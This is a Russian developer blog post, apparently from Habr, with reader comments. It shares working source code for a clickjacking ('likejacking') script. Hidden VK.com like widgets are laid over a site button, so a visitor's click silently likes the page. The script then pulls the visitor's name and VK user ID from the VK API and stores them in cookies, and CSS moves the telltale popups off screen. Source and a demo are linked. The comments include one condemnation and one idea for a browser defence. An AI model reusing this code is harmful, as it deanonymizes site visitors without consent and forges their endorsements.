image

Когда то давно, хотели сделать сервис, который позволял бы узнать посетителя сайта и дать возможность заполнить поля на сайте за посетителя, но проект заморозился и уже умер.

Решил выложить исходники, может кому будет это полезно.

И так суть скрипта. Поверх любой кнопки накладывается скрипт лайка от сайта VK.com.

Проверка авторизован ли пользователь на сайте VK.com:
    VK.Auth.getLoginStatus(function (response) {
        if (response.status === 'unknown')
            $('.button_style').hide(); // если не авторизован, то скрываем виджеты лайка
    });


Накладываем на кнопку-жертву по всей площади виджеты лайка и скрываем их:
image
image

Все наша кнопка готова, теперь по клику на неё будет ставиться лайк, теперь нам нужно отловить это событие и сохранить в куки, чтобы в следующий раз брать из куков.
VK.Observer.subscribe("widgets.like.liked", function () {
        $.ajax({
            url: 'https://api.vk.com/method/likes.getList?' +
            'type=sitepage' +
            '&page_url=' + window.location +
            '&extended=1' +
            '&owner_id=' + LIKE_ID,
            dataType: "jsonp",
            success: function (data) {
                if (data.response) {
                    var user = data.response.items[0];
                    var options = {expires: 1000000};
                    $scope.cookies_user = user;
                    $scope.setCookie('first_name', user.first_name, options);
                    $scope.setCookie('last_name', user.last_name, options);
                    $scope.setCookie('uid', user.uid, options);
                    $scope.name = user.first_name + " " + user.last_name;
                    $scope.modalOpen();
                    $scope.$digest();
                }
            }
        });
    });


Еще один момент, который заставил помучатся, это появление пользователей которые лайкнули.

Обход, вынести за облость экрана:
#vkwidget1_tt,
#vkwidget2_tt,
#vkwidget3_tt,
#vkwidget4_tt {
    margin-left: -2500px;
}


Исходники: github.com/romkagolovadvayha/romkagolovadvayha.github.io/tree/master/socialhunt.su
Демо: romkagolovadvayha.github.io/socialhunt.su/index.html (нажать на кнопку)

Комментарии (6)


  1. Delphinum
    02.10.2015 00:28

    А разве VK гарантирует что в массиве, возвращаемом likes.getList в качестве первого элемента будет последний лайкнувший пользователь?


    1. dooza
      02.10.2015 00:31

      В VK об этом ничего не сказано, но исходя из наблюдений, возвращаемые пользователи отсортированы по дате.


    1. BeLove
      02.10.2015 04:35

      Нужно просто генерировать уникальную ссылку для каждого юзера, я так делаю.


      1. BupycNet
        02.10.2015 07:59

        Просто продавать лайки на записях сообществам. И отслеживаем и зарабатываем еще на этом. И если таких записей много — меньше шансов одновременного лайка.


  1. Psychosynthesis
    02.10.2015 07:46
    +8

    За прозрачные скрипты поверх кнопок автор должен гореть в аду.


  1. faiwer
    02.10.2015 08:25

    Как жаль, что такие грязные трюки до сих пор не режутся браузерами. Насколько я понимаю, в данном случае, можно было бы игнорировать клики по «opacity: 0» элементам страницы. Ну или, на худой конец, не учитывать их если «opacity: 0» задан самому iframe или одному из его родителей.